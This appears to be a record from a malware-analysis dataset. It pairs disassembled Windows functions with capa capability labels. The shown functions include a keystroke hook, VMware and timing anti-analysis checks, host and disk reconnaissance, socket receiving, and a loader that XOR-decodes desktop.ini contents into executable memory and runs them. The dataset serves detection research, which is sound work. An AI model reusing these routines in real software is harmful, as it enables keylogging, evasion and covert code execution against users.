joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417820
Capabilities:
Get disk information

Disassembly:
sub esp, 0x104
mov eax, dword [0x482aec]
push edi
mov dword [esp + 8], eax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
push eax
push eax
push eax
lea ecx, [esp + 0x10]
push eax
push ecx
push eax
lea edx, [esp + 0x20]
push eax
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
pop edi
jne 0x417863
add esp, 0x104
ret
mov eax, dword [esp]
test eax, eax
mov dword [0x19cc6e8], eax
mov dword [0x19b6890], eax
jne 0x417887
mov ecx, dword [0x1e330e8]
test ecx, ecx
je 0x417887
mov dword [0x19cc6e8], ecx
mov eax, ecx
add esp, 0x104
ret
Function at 0x41cb20
Capabilities:
Enumerate files on windows

Disassembly:
mov eax, 0x1310
call fcn.00436600
push ebx
push esi
push edi
push 0x4959f8
lea eax, [esp + 0x350]
push str._sUsers.___
push eax
xor esi, esi
call fcn.004361ae
add esp, 0xc
lea ecx, [esp + 0xc]
lea edx, [esp + 0x34c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41cbd0
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea edi, [esp + 0xb50]
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x750]
push eax
push 0x4959f8
push str._sUsers_s
push ecx
call fcn.004361ae
lea edx, [esp + 0x260]
lea eax, [esp + 0x160]
push edx
lea ecx, [esp + 0x764]
push eax
push ecx
call fcn.0041c9e0
add esp, 0x1c
cmp esi, 0x3e7
jge 0x41cbbc
mov word [edi], ax
inc esi
add edi, 2
lea edx, [esp + 0x10]
push edx
push ebx
call ebp
test eax, eax
jne 0x41cb71
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
mov eax, dword [esp + 0x1320]
cmp eax, 0xea60
jge 0x41cc06
xor ecx, ecx
test esi, esi
jle 0x41cc08
lea edx, [esp + 0xb4c]
xor edi, edi
mov di, word [edx]
cmp eax, edi
je 0x41cbfe
inc ecx
add edx, 2
cmp ecx, esi
jge 0x41cc08
jmp 0x41cbeb
inc eax
cmp eax, 0xea60
jl 0x41cbde
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x1310
ret
Function at 0x41e980
Capabilities:
Create thread
Log keystrokes via application hook

Disassembly:
push ecx
push 0
push 0
push 0x41e3a0
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [0x1f6ddb4], eax
jne 0x41e9b3
lea eax, [esp]
push eax
push 0
push 0
push 0x41e740
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
ret
Function at 0x4235e0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov eax, dword [0x32fb544]
push eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x423674
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x423674
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ecx, [ecx + ecx + 2]
push ecx
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov ebp, eax
call fcn.00423580
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov esi, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebp
push ebx
lea ecx, [ecx + ecx + 2]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4236b0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
push 0x483920
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea edi, [eax*4 + 0x4b6008]
push edi
call fcn.00436480
mov esi, eax
add esp, 8
test esi, esi
jne 0x4236eb
push 0x48391c
push edi
call fcn.00436480
mov esi, eax
add esp, 8
test esi, esi
je 0x4236f2
add esi, 2
test esi, esi
jne 0x4236f7
pop edi
xor eax, eax
pop esi
ret
push esi
call fcn.004235e0
mov eax, dword [0x32fb544]
add esp, 4
push 1
push 0
push 0
push esi
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
pop edi
mov eax, 1
pop esi
ret

Function at 0x423730
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
lea esi, [eax + 6]
push esi
call fcn.004235e0
mov ecx, dword [0x32fb544]
add esp, 4
push 1
push 0
push 0
push esi
push str.open
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
mov eax, 1
pop esi
ret
Function at 0x42dc30
Capabilities:
Get hostname
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x12c
push ebx
push esi
push edi
push 0x10
push 0x1f83678
call dword [sym.imp.WSOCK32.dll_gethostname]
push 0x1f83678
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
xor ecx, ecx
xor edx, edx
mov eax, dword [eax]
mov cl, byte [eax + 3]
mov dl, byte [eax + 2]
push ecx
push edx
xor ecx, ecx
xor edx, edx
mov cl, byte [eax + 1]
mov dl, byte [eax]
push ecx
push edx
lea eax, [esp + 0x1c]
push str._u._u._u._u
push eax
call fcn.004361ae
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
add esp, 0x18
mov dword [0x46961c0], ecx
mov ecx, dword [esp + 0x18]
mov dword [0x46961c4], edx
lea edx, [esp + 0xc]
xor ebx, ebx
mov dword [0x46961cc], ecx
push edx
mov dword [0x46961c8], eax
mov byte [0x46961cf], bl
call dword [sym.imp.WSOCK32.dll_inet_addr]
mov dword [0x19ccf9c], eax
mov ecx, 0x9d8
xor eax, eax
mov edi, 0x4742968
rep stosd dword es:[edi], eax
push 1
call fcn.00434440
mov esi, eax
add esp, 4
cmp esi, ebx
jne 0x42dd06
push 0x482af0
push 0x4742968
mov dword [0x4740490], ebx
call fcn.004361ae
mov edi, 0x4742968
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
inc esi
push esi
push 0x4413b8
push esi
push 0x4742968
call fcn.00401430
push 0x1f80f0c
push esi
push 0x4742968
push 0x15
call fcn.0042f0e0
add esp, 0x20
cmp eax, ebx
je 0x42dd3c
cmp eax, 0x3a91
mov dword [0x4740490], eax
jl 0x42dd42
mov dword [0x4740490], ebx
mov ecx, 0x9d8
xor eax, eax
mov edi, 0x4742968
rep stosd dword es:[edi], eax
mov eax, dword [0x47bbfc]
push eax
push 0x4742968
call fcn.004335a0
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x42dd9f
push esi
push 0x4413b8
push esi
push 0x4742968
call fcn.00401430
push 0x47450c8
push esi
push 0x4742968
push 0x47
call fcn.0042f0e0
add esp, 0x20
cmp eax, ebx
je 0x42dd9f
cmp eax, 0x3a91
mov dword [0x47bbfc], eax
jl 0x42dda5
mov dword [0x47bbfc], ebx
mov eax, dword [0x19ccf9c]
pop edi
pop esi
pop ebx
add esp, 0x12c
ret
Function at 0x42e390
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, 0x5208
call fcn.00436600
push esi
mov esi, dword [esp + 0x5210]
push edi
mov ecx, 0x1482
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
mov ecx, dword [esi*4 + 0x47b22c]
push eax
lea eax, [esp + 0xc]
push 0x5208
push eax
push ecx
call dword [sym.imp.WSOCK32.dll_recv]
mov edx, dword [0x474054c]
add edx, eax
test eax, eax
mov dword [0x474054c], edx
je 0x42e3f7
cmp eax, 0xffffffff
je 0x42e3f7
lea edx, [esp + 8]
push eax
push edx
call fcn.00412010
add esp, 8
pop edi
pop esi
add esp, 0x5208
ret
mov eax, dword [0x32fb544]
push eax
push esi
call fcn.0042e090
add esp, 8
pop edi
pop esi
add esp, 0x5208
ret

Function at 0x42f4a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push edi
mov edi, dword [esp + 0x14]
xor ebp, ebp
test edi, edi
jle 0x42f4d3
mov ecx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
sub esi, ecx
xor eax, eax
xor edx, edx
mov al, byte [esi + ecx]
mov dl, byte [ecx]
sub eax, edx
cdq
xor eax, edx
sub eax, edx
add ebp, eax
inc ecx
dec edi
jne 0x42f4b7
pop esi
mov eax, ebp
pop edi
pop ebp
ret
mov eax, ebp
pop edi
pop ebp
ret

Function at 0x433270
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ebx, eax
push edi
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0x100
push esi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
rdtsc
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
rdtsc
sub eax, dword [ebp - 4]
sbb edx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], ecx
pop edi
fild qword [ebp - 0x10]
pop esi
pop ebx
fmul qword [0x43e4a0]
mov esp, ebp
pop ebp
ret
Function at 0x433ab0
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0xa2c
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push esi
push edi
push 0
push 0
call ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edi, eax
push esi
push 8
push edi
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
push ebx
push esi
mov dword [esp + 0x28], ebx
call ebp
cmp byte [ebx], 0
je 0x433cb8
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
push 0x484454
push ebx
call fcn.00436480
add esp, 8
test eax, eax
jne 0x433b29
push 0x484450
push ebx
call fcn.00436480
add esp, 8
test eax, eax
jne 0x433b29
push ebx
push str.HDD___s
call fcn.00433990
add esp, 8
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
lea eax, [esp + 0x138]
push 0x104
lea ecx, [esp + 0x30]
push eax
lea edx, [esp + 0x38]
push ecx
lea eax, [esp + 0x20]
push edx
push eax
lea ecx, [esp + 0x48]
push 0x104
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x433b81
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x138]
push edx
lea ecx, [esp + 0x38]
push eax
push ecx
push str.___s_____s_____X_
call fcn.00433990
add esp, 0x10
lea edx, [esp + 0x24]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
lea edx, [esp + 0x24]
push ecx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x23c]
push eax
push str.__X_
push ecx
call ebp
lea edi, [esp + 0x248]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x648]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x248]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x28]
push ecx
push str.___X_
push edx
call ebp
lea edi, [esp + 0x254]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x654]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x3c]
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x258]
push str.___X_
push ecx
call ebp
lea edi, [esp + 0x260]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x660]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x3c]
lea ecx, [esp + 0x260]
push eax
push str.___X_
push ecx
call ebp
lea edx, [esp + 0x66c]
push edx
push 0x48441c
call fcn.00433990
push 0x482564
call fcn.00433990
push 0
push ebx
call fcn.00436c20
add esp, 0x44
inc eax
mov ebx, eax
cmp byte [ebx], 0
jne 0x433af7
mov ebx, dword [esp + 0x20]
mov edi, dword [esp + 0x10]
push ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa2c
ret
Function at 0x433cd0
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push str.Hardware_information:__n
call fcn.00433990
mov ecx, dword [esp + 4]
push ecx
push str.__OEM_ID:__u_n
call fcn.00433990
mov edx, dword [esp + 0x20]
push edx
push str.__Number_of_processors:__u_n
call fcn.00433990
mov eax, dword [esp + 0x18]
push eax
push str.__Page_size:__u_n
call fcn.00433990
mov ecx, dword [esp + 0x34]
push ecx
push str.__Processor_type:__u_n
call fcn.00433990
mov edx, dword [esp + 0x2c]
push edx
push str.__Minimum_application_address:__lx_n
call fcn.00433990
mov eax, dword [esp + 0x38]
push eax
push str.__Maximum_application_address:__lx_n
call fcn.00433990
mov ecx, dword [esp + 0x44]
push ecx
push str.__Active_processor_mask:__u_n
call fcn.00433990
add esp, 0x60
ret

Function at 0x433d60
Capabilities:
Get common file path
Get hostname
Get session user name
Query environment variable

Disassembly:
sub esp, 0x404
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push ecx
mov dword [esp + 8], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x433d94
lea edx, [esp + 4]
push edx
push str.Computer_name:___s_n
call fcn.00433990
add esp, 8
lea eax, [esp]
lea ecx, [esp + 4]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x433dba
lea edx, [esp + 4]
push edx
push str.User_name:___s_n_n
call fcn.00433990
add esp, 8
lea eax, [esp + 4]
push 0x105
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x433de0
lea ecx, [esp + 4]
push ecx
push str.System_directory:___s_n
call fcn.00433990
add esp, 8
lea edx, [esp + 4]
push 0x105
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x433e06
lea eax, [esp + 4]
push eax
push str.Windows_directory:___s_n_n
call fcn.00433990
add esp, 8
push esi
push str.per_okr__partial_list_:__n
call fcn.00433990
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
add esp, 4
lea ecx, [esp + 8]
push 0x400
push ecx
push str.OS_OS_
call esi
cmp eax, 0x400
ja 0x433e44
lea edx, [esp + 8]
push edx
push str.___s_n
call fcn.00433990
add esp, 8
lea eax, [esp + 8]
push 0x400
push eax
push str.PATH_PATH_
call esi
cmp eax, 0x400
ja 0x433e6e
lea ecx, [esp + 8]
push ecx
push str.___s_n
call fcn.00433990
add esp, 8
lea edx, [esp + 8]
push 0x400
push edx
push str.TEMP_TEMP_
call esi
cmp eax, 0x400
pop esi
ja 0x433e99
lea eax, [esp + 4]
push eax
push str.___s_n
call fcn.00433990
add esp, 8
add esp, 0x404
ret
Function at 0x433f30
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43e4b8
push 0x436dd4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43aa5c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x484fb0
cmp edx, dword [eax]
je 0x43aa7e
add eax, 8
inc ecx
cmp eax, 0x485040
jl 0x43aa6f
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x484fb0]
jne 0x43abac
mov eax, dword [0x4748364]
cmp eax, 1
je 0x43ab86
test eax, eax
jne 0x43aaaf
cmp dword [0x484834], 1
je 0x43ab86
cmp edx, 0xfc
je 0x43abac
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x43aae6
lea eax, [ebp - 0x1a4]
push 0x43e8a4
push eax
call fcn.0043bc30
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0043ac20
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x43ab29
lea eax, [ebp - 0x1a4]
push eax
call fcn.0043ac20
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x43e8a0
push edi
call fcn.0043c140
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x43e884
push eax
call fcn.0043bc30
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0043bc40
lea eax, [ebp - 0xa0]
push 0x43e880
push eax
call fcn.0043bc40
push dword [esi + 0x484fb4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0043bc40
push 0x12010
lea eax, [ebp - 0xa0]
push 0x43e858
push eax
call fcn.0043c763
add esp, 0x2c
pop edi
jmp 0x43abac
lea eax, [ebp + 8]
lea esi, [esi + 0x484fb4]
push 0
push eax
push dword [esi]
call fcn.0043ac20
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401955
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [esp + 0x10], eax
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebp, [esi + 0x64]
mov ebx, ecx
push 1
push ebx
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x4019ac
mov esi, dword [esp + 0x10]
mov edi, dword [ebp + 4]
mov ecx, ebx
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 4]
mov esi, dword [esp + 0x14]
mov dword [ebp + 8], ebx
mov byte [ecx + ebx], 0
push str.._Update_UpData.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [esi + 0x84], eax
je 0x401a10
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.TransmitStartupWay
push eax
call edi
test eax, eax
jne 0x4019e9
push eax
push eax
mov eax, dword [esi + 0x20]
push 0x12
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov ebp, dword [ebp + 4]
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
test ebp, ebp
je 0x4019f8
mov ecx, ebp
push ecx
call eax
mov ecx, dword [esi + 0x84]
add esp, 4
push str.UpData
push ecx
call edi
test eax, eax
jne 0x401a28
mov edx, dword [esi + 0x20]
push 0
push 0
push 0x12
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov ecx, dword [esi + 0x20]
push ecx
call eax
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
push ebx
pop eax
and eax, 0x1f
push ebx
pop edx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
sub eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
push edx
pop eax
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
push eax
pop edi
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
push esi
pop eax
sub eax, edi
mov esi, eax
or eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
or eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4030c0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004048c0
test esi, esi
jne 0x4030f6
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004049b0
jmp 0x403114
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402fc4
mov edi, eax
test esi, esi
je 0x403114
cmp dword [ebx], 0
je 0x403114
dec esi
jmp 0x4030fd
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403148
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x49a008], 0x8088405
inc edx
mov dword [ebx + 0x49a008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403854
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x49a024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4038ec
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4038cc
xor eax, eax
push ebp
push 0x4038c5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403908
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4038cc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x49a024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x49a024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404740
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x56d04c], 0
je 0x4047a1
cmp word [0x56d220], 0xd7b2
jne 0x404769
cmp dword [0x56d228], 0
jbe 0x404769
mov eax, 0x56d21c
call dword [0x56d238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4047c8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x49a030], 0
jne 0x4047bd
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret